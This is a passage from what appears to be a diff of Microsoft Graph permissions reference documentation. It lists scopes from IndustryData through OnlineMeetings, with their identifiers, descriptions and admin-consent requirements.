    AdminConsentRequiredYesYes
    +
    +

    IndustryData-Run.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf6f5d10b-3024-4d1d-b674-aae4df4a1a7392685235-50c4-4702-b2c8-36043db6fa79
    DisplayTextView current and previous runsView current and previous runs
    DescriptionAllows the app to read current and previous IndustryData runs without a signed-in user.Allows the app to read current and previous IndustryData runs on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-SourceSystem.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbc167a60-39fe-4865-8b44-78400fc6ed0349b7016c-89ae-41e7-bd6f-b7170c5490bf
    DisplayTextView source system definitionsView source system definitions
    DescriptionAllows the app to read source system definitions without a signed-in user.Allows the app to read source system definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-SourceSystem.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7d866958-e06e-4dd6-91c6-a086b3f5cfeb9599f005-05d6-4ea7-b1b1-4929768af5d0
    DisplayTextManage source system definitionsManage source system definitions
    DescriptionAllows the app to read and write source system definitions without a signed-in user.Allows the app to read and write source system definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-TimePeriod.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7c55c952-b095-4c23-a522-022bce4cc1e3c9d51f28-8ccd-42b2-a836-fd8fe9ebf2ae
    DisplayTextRead time period definitionsRead time period definitions
    DescriptionAllows the app to read time period definitions without a signed-in user.Allows the app to read time period definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-TimePeriod.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7afa7744-a782-4a32-b8c2-e3db637e8de7b6d56528-3032-4f9d-830f-5a24a25e6661
    DisplayTextManage time period definitionsManage time period definitions
    DescriptionAllows the app to read and write time period definitions without a signed-in user.Allows the app to read and write time period definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    InformationProtectionConfig.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-12f4bffb-b598-413c-984b-db99728f8b54
    DisplayText-Read configurations for protecting organizational data applicable to the user
    Description-Allows the app to read the configurations applicable to the signed-in user for protecting organizational data, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    InformationProtectionConfig.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier14f49b9f-4bf2-4d24-b80e-b27ec58409bd-
    DisplayTextRead all configurations for protecting organizational data applicable to users-
    DescriptionAllows the app to read all configurations applicable to users for protecting organizational data, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    InformationProtectionContent.Sign.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiercbe6c7e4-09aa-4b8d-b3c3-2dbb59af4b54-
    DisplayTextSign digests for data-
    DescriptionAllows an app to sign digests for data without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    InformationProtectionContent.Write.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier287bd98c-e865-4e8c-bade-1a85523195b9-
    DisplayTextCreate protected content-
    DescriptionAllows the app to create protected content without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    InformationProtectionPolicy.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-4ad84827-5578-4e18-ad7a-86530b12f884
    DisplayText-Read user sensitivity labels and label policies.
    Description-Allows an app to read information protection sensitivity labels and label policy settings, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    InformationProtectionPolicy.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier19da66cb-0fb0-4390-b071-ebc76a349482-
    DisplayTextRead all published labels and label policies for an organization.-
    DescriptionAllows an app to read published sensitivity labels and label policy settings for the entire organization or a specific user, without a signed in user.-
    AdminConsentRequiredYes-
    +
    +

    Insights-UserMetric.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier34cbd96c-d824-4755-90d3-1008ef47efc17d249730-51a3-4180-8ec1-214f144f1bff
    DisplayTextRead all user metrics insightsRead user metrics insights
    DescriptionAllows an app to read all user metrics insights, such as daily and monthly active users, without a signed-in user.Allows an app to read user metrics insights, such as daily and monthly active users, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    LearningAssignedCourse.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ac08cdae-e845-41db-adf9-5899a0ec9ef6
    DisplayText-Read user's assignments
    Description-Allows the app to read data for the learner's assignments in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    LearningAssignedCourse.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier535e6066-2894-49ef-ab33-e2c6d064bb81-
    DisplayTextRead all assignments-
    DescriptionAllows the app to read data for all assignments in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    LearningAssignedCourse.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier236c1cbd-1187-427f-b0f5-b1852454973b-
    DisplayTextRead and write all assignments-
    DescriptionAllows the app to create, update, read and delete all assignments in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    LearningContent.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8740813e-d8aa-4204-860e-2a0f8f84dbc8ea4c1fd9-6a9f-4432-8e5d-86e06cc0da77
    DisplayTextRead all learning contentRead learning content
    DescriptionAllows the app to read all learning content in the organization's directory, without a signed-in user.Allows the app to read learning content in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    LearningContent.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier444d6fcb-b738-41e5-b103-ac4f2a2628a353cec1c4-a65f-4981-9dc1-ad75dbf1c077
    DisplayTextManage all learning contentManage learning content
    DescriptionAllows the app to manage all learning content in the organization's directory, without a signed-in user.Allows the app to manage learning content in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    LearningProvider.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-dd8ce36f-9245-45ea-a99e-8ac398c22861
    DisplayText-Read learning provider
    Description-Allows the app to read data for the learning provider in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    LearningProvider.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-40c2eb57-abaf-49f5-9331-e90fd01f7130
    DisplayText-Manage learning provider
    Description-Allows the app to create, update, read, and delete data for the learning provider in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    LearningSelfInitiatedCourse.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f6403ef7-4a96-47be-a190-69ba274c3f11
    DisplayText-Read user's self-initiated courses
    Description-Allows the app to read data for the learner's self-initiated courses in the organization's directory, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    LearningSelfInitiatedCourse.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier467524fc-ed22-4356-a910-af61191e3503-
    DisplayTextRead all self-initiated courses-
    DescriptionAllows the app to read data for all self-initiated courses in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    LearningSelfInitiatedCourse.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7654ed61-8965-4025-846a-0856ec02b5b0-
    DisplayTextRead and write all self-initiated courses-
    DescriptionAllows the app to create, update, read and delete all self-initiated courses in the organization's directory, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    LicenseAssignment.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5facf0c1-8979-4e95-abcf-ff3d079771c0f55016cc-149c-447e-8f21-7cf3ec1d6350
    DisplayTextManage all license assignmentsManage all license assignments
    DescriptionAllows an app to manage license assignments for users and groups, without a signed-in user.Allows an app to manage license assignments for users and groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    LifecycleWorkflows.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7c67316a-232a-4b84-be22-cea2c09064049bcb9916-765a-42af-bf77-02282e26b01a
    DisplayTextRead all lifecycle workflows resourcesRead all lifecycle workflows resources
    DescriptionAllows the app to list and read all workflows, tasks and related lifecycle workflows resources without a signed-in user.Allows the app to list and read all workflows, tasks and related lifecycle workflows resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    LifecycleWorkflows.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5c505cf4-8424-4b8e-aa14-ee06e3bb23e384b9d731-7db8-4454-8c90-fd9e95350179
    DisplayTextRead and write all lifecycle workflows resourcesRead and write all lifecycle workflows resources
    DescriptionAllows the app to create, update, list, read and delete all workflows, tasks and related lifecycle workflows resources without a signed-in user.Allows the app to create, update, list, read and delete all workflows, tasks and related lifecycle workflows resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ListItems.SelectedOperations.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierde4e4161-a10a-4dfd-809c-e328d89aefebd6d361b3-211a-4191-9fa7-15f72de4aac4
    DisplayTextAccess selected ListItems without a signed in user.Access selected ListItems, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of listitems without a signed in user. The specific listitems and the permissions granted will be configured in SharePoint Online.Allow the application to access a subset of listitems on behalf of the signed in user. The specific listitems and the permissions granted will be configured in SharePoint Online.
    AdminConsentRequiredYesYes
    +
    +

    Lists.SelectedOperations.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier23c5a9bd-d900-4ecf-be26-a0689755d9e5033b51ee-d6fa-4add-b627-ee680c7212b5
    DisplayTextAccess selected Lists without a signed in user.Access selected Lists, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of lists without a signed in user. The specific lists and the permissions granted will be configured in SharePoint Online.Allow the application to access a subset of lists on behalf of the signed in user. The specific lists and the permissions granted will be configured in SharePoint Online.
    AdminConsentRequiredYesYes
    +
    +

    Mail.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier810c84a8-4a9e-49e6-bf7d-12d183f40d01570282fd-fa5c-430d-a7fd-fc8dc98a9dca
    DisplayTextRead mail in all mailboxesRead user mail
    DescriptionAllows the app to read mail in all mailboxes without a signed-in user.Allows the app to read the signed-in user's mailbox.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Mail.Read delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.Read application permission.

    +

    Mail.Read is valid valid for both Microsoft accounts and work or school accounts.

    +
    +

    Mail.Read.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-7b9103a5-4610-446b-9670-80643382c1fa
    DisplayText-Read user and shared mail
    Description-Allows the app to read mail a user can access, including their own and shared mail.
    AdminConsentRequired-No
    + +

    Mail.Read.Shared is only valid for work or school accounts.

    +
    +

    Mail.ReadBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6be147d2-ea4f-4b5a-a3fa-3eab6f3c140aa4b8392a-d8d1-4954-a029-8e668a39a170
    DisplayTextRead basic mail in all mailboxesRead user basic mail
    DescriptionAllows the app to read basic mail properties in all mailboxes without a signed-in user. Includes all properties except body, previewBody, attachments and any extended properties.Allows the app to read email in the signed-in user's mailbox except body, previewBody, attachments and any extended properties.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Mail.ReadBasic delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Mail.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier693c5e45-0940-467d-9b8a-1022fb9d42ef-
    DisplayTextRead basic mail in all mailboxes-
    DescriptionAllows the app to read basic mail properties in all mailboxes without a signed-in user. Includes all properties except body, previewBody, attachments and any extended properties.-
    AdminConsentRequiredYes-
    +
    +

    Mail.ReadBasic.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-b11fa0e7-fdb7-4dc9-b1f1-59facd463480
    DisplayText-Read user and shared basic mail
    Description-Allows the app to read mail the signed-in user can access, including their own and shared mail, except for body, bodyPreview, uniqueBody, attachments, extensions, and any extended properties.
    AdminConsentRequired-No
    +
    +

    Mail.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere2a3a72e-5f79-4c64-b1b1-878b674786c9024d486e-b451-40bb-833d-3e66d98c5c73
    DisplayTextRead and write mail in all mailboxesRead and write access to user mail
    DescriptionAllows the app to create, read, update, and delete mail in all mailboxes without a signed-in user. Does not include permission to send mail.Allows the app to create, read, update, and delete email in user mailboxes. Does not include permission to send mail.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Mail.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.ReadWrite application permission.

    +

    Mail.ReadWrite is valid valid for both Microsoft accounts and work or school accounts.

    +
    +

    Mail.ReadWrite.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5df07973-7d5d-46ed-9847-1271055cbd51
    DisplayText-Read and write user and shared mail
    Description-Allows the app to create, read, update, and delete mail a user has permission to access, including their own and shared mail. Does not include permission to send mail.
    AdminConsentRequired-No
    + +

    Mail.ReadWrite.Shared is only valid for work or school accounts.

    +
    +

    Mail.Send

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb633e1c5-b582-4048-a93e-9f11b44c7e96e383f46e-2787-4529-855e-0e479a3ffac0
    DisplayTextSend mail as any userSend mail as a user
    DescriptionAllows the app to send mail as any user without a signed-in user.Allows the app to send mail as users in the organization.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Mail.Send delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the Mail.Send application permission.

    +

    Mail.Send is valid valid for both Microsoft accounts and work or school accounts.

    +

    With the Mail.Send permission, an app can send mail and save a copy to the user's Sent Items folder, even if the app isn't granted the Mail.ReadWrite or Mail.ReadWrite.Shared permission.

    +
    +

    Mail.Send.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-a367ab51-6b49-43bf-a716-a1fb06d2a174
    DisplayText-Send mail on behalf of others
    Description-Allows the app to send mail as the signed-in user, including sending on-behalf of others.
    AdminConsentRequired-No
    + +

    Mail.Send.Shared is only valid for work or school accounts.

    +

    With the Mail.Send.Shared permission, an app can send mail and save a copy to the user's Sent Items folder, even if the app isn't granted the Mail.ReadWrite or Mail.ReadWrite.Shared permission.

    +
    +

    MailboxSettings.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier40f97065-369a-49f4-947c-6a255697ae9187f447af-9fa4-4c32-9dfa-4a57a73d18ce
    DisplayTextRead all user mailbox settingsRead user mailbox settings
    DescriptionAllows the app to read user's mailbox settings without a signed-in user. Does not include permission to send mail.Allows the app to the read user's mailbox settings. Does not include permission to send mail.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The MailboxSettings.Read delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the MailboxSettings.Read application permission.

    +

    MailboxSettings.Read is valid valid for both Microsoft accounts and work or school accounts.

    +
    +

    MailboxSettings.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6931bccd-447a-43d1-b442-00a195474933818c620a-27a9-40bd-a6a5-d96f7d610b4b
    DisplayTextRead and write all user mailbox settingsRead and write user mailbox settings
    DescriptionAllows the app to create, read, update, and delete user's mailbox settings without a signed-in user. Does not include permission to send mail.Allows the app to create, read, update, and delete user's mailbox settings. Does not include permission to send mail.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The MailboxSettings.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    + +

    Administrators can configure application access policy to limit app access to specific mailboxes and not to all the mailboxes in the organization, even if the app has been granted the MailboxSettings.ReadWrite application permission.

    +

    MailboxSettings.ReadWrite is valid valid for both Microsoft accounts and work or school accounts.

    +
    +

    ManagedTenants.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-dc34164e-6c4a-41a0-be89-3ae2fbad7cd3
    DisplayText-Read all managed tenant information
    Description-Allows the app to read all managed tenant information on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    ManagedTenants.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-b31fa710-c9b3-4d9e-8f5e-8036eecddab9
    DisplayText-Read and write all managed tenant information
    Description-Allows the app to read and write all managed tenant information on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    Member.Read.Hidden

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier658aa5d8-239f-45c4-aa12-864f4fc7e490f6a3db3e-f7e8-4ed2-a414-557c8c9830be
    DisplayTextRead all hidden membershipsRead hidden memberships
    DescriptionAllows the app to read the memberships of hidden groups and administrative units without a signed-in user.Allows the app to read the memberships of hidden groups and administrative units on behalf of the signed-in user, for those hidden groups and administrative units that the signed-in user has access to.
    AdminConsentRequiredYesYes
    +
    +

    MultiTenantOrganization.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4f994bc0-31bb-44bb-b480-7a7c1be8c02e526aa72a-5878-49fe-bf4e-357973af9b06
    DisplayTextRead all multi-tenant organization details and tenantsRead multi-tenant organization details and tenants
    DescriptionAllows the app to read all multi-tenant organization details and tenants, without a signed-in user.Allows the app to read multi-tenant organization details and tenants on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    MultiTenantOrganization.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf9c2b2a7-3895-4b2e-80f6-c924b456e50b225db56b-15b2-4daa-acb3-0eec2bbe4849
    DisplayTextRead multi-tenant organization basic details and active tenantsRead multi-tenant organization basic details and active tenants
    DescriptionAllows the app to read multi-tenant organization basic details and active tenants, without a signed-in user.Allows the app to read multi-tenant organization basic details and active tenants on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    MultiTenantOrganization.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier920def01-ca61-4d2d-b3df-105b46046a7077af1528-84f3-4023-8d90-d219cd433108
    DisplayTextRead and write all multi-tenant organization details and tenantsRead and write multi-tenant organization details and tenants
    DescriptionAllows the app to read and write all multi-tenant organization details and tenants, without a signed-in user.Allows the app to read and write multi-tenant organization details and tenants on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    NetworkAccess.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere30060de-caa5-4331-99d3-6ac6c966a9a42f7013e0-ab4e-447f-a5e1-5d419950692d
    DisplayTextRead all network access informationRead all network access information
    DescriptionAllows the app to read all network access information and configuration settings without a signed-in user.Allows the app to read all network access information on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    NetworkAccess.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb10642fc-a6cf-4c46-87f9-e1f96c2a18aaae2df9c5-f18d-4ec4-a51b-bdeb807f177b
    DisplayTextRead and write all network access informationRead and write all network access information
    DescriptionAllows the app to read and write all network access information and configuration settings without a signed-in user.Allows the app to read and write all network access information and configuration settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    NetworkAccessBranch.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier39ae4a24-1ef0-49e8-9d63-2a66f5c39edd4051c7fc-b429-4804-8d80-8f1f8c24a6f7
    DisplayTextRead properties of all branches for network accessRead properties of branches for network access
    DescriptionAllows the app to read your organization's network access branches, without a signed-in user.Allows the app to read your organization's branches for network access on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    NetworkAccessBranch.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8137102d-ec16-4191-aaf8-7aeda8026183b8a36cc2-b810-461a-baa4-a7281e50bd5c
    DisplayTextRead and write properties of all branches for network accessRead and write properties of branches for network access
    DescriptionAllows the app to read and write your organization's network access branches, without a signed-in user.Allows the app to read and write your organization's branches for network access on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    NetworkAccessPolicy.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8a3d36bf-cb46-4bcc-bec9-8d92829dab84ba22922b-752c-446f-89d7-a2d92398fceb
    DisplayTextRead all security and routing policies for network accessRead security and routing policies for network access
    DescriptionAllows the app to read your organization's network access policies, without a signed-in user.Allows the app to read your organization's security and routing network access policies on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    NetworkAccessPolicy.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf0c341be-8348-4989-8e43-660324294538b1fbad0f-ef6e-42ed-8676-bca7fa3e7291
    DisplayTextRead and write all security and routing policies for network accessRead and write security and routing policies for network access
    DescriptionAllows the app to read and write your organization's network access policies, without a signed-in user.Allows the app to read and write your organization's security and routing network access policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    NetworkAccess-Reports.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier40049381-3cc1-42af-94ec-5ce755db4b0db0c61509-cfc3-42bd-9bd4-66d81785fee4
    DisplayTextRead all network access reportsRead all network access reports
    DescriptionAllows the app to read all network access reports without a signed-in user.Allows the app to read all network access reports on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Notes.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-9d822255-d64d-4b7a-afdb-833b9a97ed02
    DisplayText-Create user OneNote notebooks
    Description-Allows the app to read the titles of OneNote notebooks and sections and to create new pages, notebooks, and sections on behalf of the signed-in user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Notes.Create delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Notes.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-371361e4-b9e2-4a3f-8315-2a301a3b0a3d
    DisplayText-Read user OneNote notebooks
    Description-Allows the app to read OneNote notebooks on behalf of the signed-in user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Notes.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Notes.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3aeca27b-ee3a-4c2b-8ded-80376e2134a4dfabfca6-ee36-4db2-8208-7a28381419b3
    DisplayTextRead all OneNote notebooksRead all OneNote notebooks that user can access
    DescriptionAllows the app to read all the OneNote notebooks in your organization, without a signed-in user.Allows the app to read OneNote notebooks that the signed-in user has access to in the organization.
    AdminConsentRequiredYesNo
    +
    +

    Notes.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-615e26af-c38a-4150-ae3e-c3b0d4cb1d6a
    DisplayText-Read and write user OneNote notebooks
    Description-Allows the app to read, share, and modify OneNote notebooks on behalf of the signed-in user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Notes.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Notes.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0c458cef-11f3-48c2-a568-c66751c238c064ac0503-b4fa-45d9-b544-71a463f05da0
    DisplayTextRead and write all OneNote notebooksRead and write all OneNote notebooks that user can access
    DescriptionAllows the app to read all the OneNote notebooks in your organization, without a signed-in user.Allows the app to read, share, and modify OneNote notebooks that the signed-in user has access to in the organization.
    AdminConsentRequiredYesNo
    +
    +

    Notes.ReadWrite.CreatedByApp

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ed68249d-017c-4df5-9113-e684c7f8760b
    DisplayText-Limited notebook access (deprecated)
    Description-This is deprecated! Do not use! This permission no longer has any effect. You can safely consent to it. No additional privileges will be granted to the app.
    AdminConsentRequired-No
    +
    +

    Notifications.ReadWrite.CreatedByApp

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-89497502-6e42-46a2-8cb2-427fd3df970a
    DisplayText-Deliver and manage user notifications for this app
    Description-Allows the app to deliver its notifications on behalf of signed-in users. Also allows the app to read, update, and delete the user's notification items for this app.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Notifications.ReadWrite.CreatedByApp delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    offline_access

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-7427e0e9-2fba-42fe-b0c0-848c9e6a8182
    DisplayText-Maintain access to data you have given it access to
    Description-Allows the app to see and update the data you gave it access to, even when users are not currently using the app. This does not give the app any additional permissions.
    AdminConsentRequired-No
    +

    OnlineMeetingArtifact.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdf01ed3b-eb61-4eca-9965-6b3d789751b2110e5abb-a10c-4b59-8b55-9b4daa4ef743
    DisplayTextRead online meeting artifactsRead user's online meeting artifacts
    DescriptionAllows the app to read online meeting artifacts in your organization, without a signed-in user.Allows the app to read online meeting artifacts on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    + +

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    +
    +

    OnlineMeetingRecording.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera4a08342-c95d-476b-b943-97e100569c8d190c2bb6-1fdd-4fec-9aa2-7d571b5e1fe3
    DisplayTextRead all recordings of online meetings.Read all recordings of online meetings.
    DescriptionAllows the app to read all recordings of all online meetings, without a signed-in user.Allows the app to read all recordings of online meetings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    + +

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    +
    +

    OnlineMeetings.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-9be106e1-f4e3-4df5-bdff-e4bc531cbe43
    DisplayText-Read user's online meetings
    Description-Allows the app to read online meeting details on behalf of the signed-in user.
    AdminConsentRequired-No
    + +

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    +
    +

    OnlineMeetings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc1684f21-1984-47fa-9d61-2dc8c296bb70-
    DisplayTextRead online meeting details-
    DescriptionAllows the app to read online meeting details in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    OnlineMeetings.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-a65f2972-a4f8-4f5e-afd7-69ccb046d5dc
    DisplayText-Read and create user's online meetings
    Description-Allows the app to read and create online meetings on behalf of the signed-in user.
    AdminConsentRequired-No
    + +

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    +
    +

    OnlineMeetings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
